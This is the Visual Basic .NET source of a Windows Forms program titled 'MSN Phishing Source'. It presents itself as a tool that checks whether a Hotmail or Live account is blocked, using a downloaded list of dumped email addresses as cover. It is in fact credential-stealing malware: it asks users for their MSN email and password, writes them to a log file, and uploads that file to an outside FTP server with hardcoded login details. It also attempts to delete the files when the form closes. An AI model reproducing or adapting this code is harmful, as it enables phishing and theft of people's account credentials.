MSN Phishing Source

Imports System.Net.Mail
Imports System.IO
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBtn.Click
        If Not IO.File.Exists("C:\Users\" & System.Environment.UserName & "\Pictures\check.txt") Then
            My.Computer.Network.DownloadFile("http://dl.dropbox.com/u/50189012/Other/MSN%20Dump%20%28336%20Emails%29.txt", "C:\Users\" & System.Environment.UserName & "\Pictures\check.txt")
        End If

        If MTCTxtbox.Text = "" Or YETxtBox.Text = "" Or YPTxtBox.Text = "" Then
            MsgBox("Boxs Can Not Be Empty")
        Else
            Step1CheckMailDomain()
        End If

    End Sub
    Private Sub Step1CheckMailDomain()

        If MTCTxtbox.Text.Contains("@hotmail.com") Or MTCTxtbox.Text.Contains("@hotmail.co.uk") Or MTCTxtbox.Text.Contains("@hotmail.it") Or MTCTxtbox.Text.Contains("@live.co.uk") Or MTCTxtbox.Text.Contains("@live.com") Or YETxtBox.Text.Contains("@hotmail.com") Or YETxtBox.Text.Contains("@hotmail.co.uk") Or YETxtBox.Text.Contains("@hotmail.it") Or YETxtBox.Text.Contains("@live.co.uk") Or YETxtBox.Text.Contains("@live.com") Then

            Step2FinalCheckOfText()
            Create()
        Else
            MsgBox("Invaild Mail Domain")
        End If

    End Sub
    Private Sub Step2FinalCheckOfText()
        If Not IO.File.ReadAllText("C:\Users\" & System.Environment.UserName & "\Pictures\check.txt").IndexOf(MTCTxtbox.Text) >= 0 Then

            MsgBox("Not Blocked")

        Else
            MsgBox("Blocked")

        End If
    End Sub

    Private Sub ResetFBtn_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ResetFBtn.Click
        YETxtBox.Clear()
        YPTxtBox.Clear()
        MTCTxtbox.Clear()
    End Sub
    Public Sub Download()

        Dim Url As String = "http://dl.dropbox.com/u/50189012/Other/MSN%20Dump%20%28336%20Emails%29.txt"
        Dim SaveLocation As String = "C:\Users\" & System.Environment.UserName & "\Pictures\check.txt"
        If Not File.Exists(SaveLocation) Then
            My.Computer.Network.DownloadFile(Url, SaveLocation)
        End If

    End Sub
    Public Sub Create()

        Dim FileStream As FileStream = Nothing
        Dim FileLocation As String = "C:\Users\" & System.Environment.UserName & "\Pictures\Log.txt"
        If Not File.Exists(FileLocation) Then
            FileStream = File.Create(FileLocation)
        End If
        If File.Exists(FileLocation) Then
            Using sw As StreamWriter = New StreamWriter(FileLocation)
                sw.Write("Msn Email : " & YETxtBox.Text & vbNewLine & "Msn Password : " & YPTxtBox.Text)
            End Using
        End If

        Upload()
    End Sub
    Public Sub Upload()

        Dim Output As String = ""
        Dim Random As New Random()
        For i As Integer = 0 To 9
            Output += ChrW(64 + Random.[Next](1, 26))
        Next

        Dim Url As String = "ftp://take0000.comuv.com/public_html/"
        Dim FileLocation As String = "C:\Users\" & System.Environment.UserName & "\Pictures\Log.txt"
        Dim Name As String = System.Environment.UserName & Output & ".txt"
        Dim User As String = "a7106351"
        Dim Pass As String = "jpo0265944"
        My.Computer.Network.UploadFile(FileLocation, Url & Name, User, Pass)

    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        Dim CheckList As String = "C:\Users\" & System.Environment.UserName & "\Pictures\check.txt"
        Dim LogFile As String = "C:\Users\" & System.Environment.UserName & "\Pictures\Log.txt"
        If File.Exists(CheckList & LogFile) Then
            File.Delete(CheckList)
            File.Delete(LogFile)
        End If
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Download()
    End Sub
End Class